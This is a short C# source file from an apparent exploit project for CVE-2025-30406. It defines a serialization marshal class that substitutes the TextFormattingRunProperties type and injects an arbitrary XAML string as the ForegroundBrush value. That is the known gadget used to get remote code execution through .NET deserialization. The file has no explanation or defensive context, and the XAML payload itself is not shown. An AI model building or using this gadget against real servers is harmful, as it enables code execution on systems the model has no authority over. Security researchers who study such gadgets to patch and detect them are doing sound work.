using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Runtime.Serialization;

namespace CVE_2025_30406
{
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(TextFormattingRunProperties));
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }
}
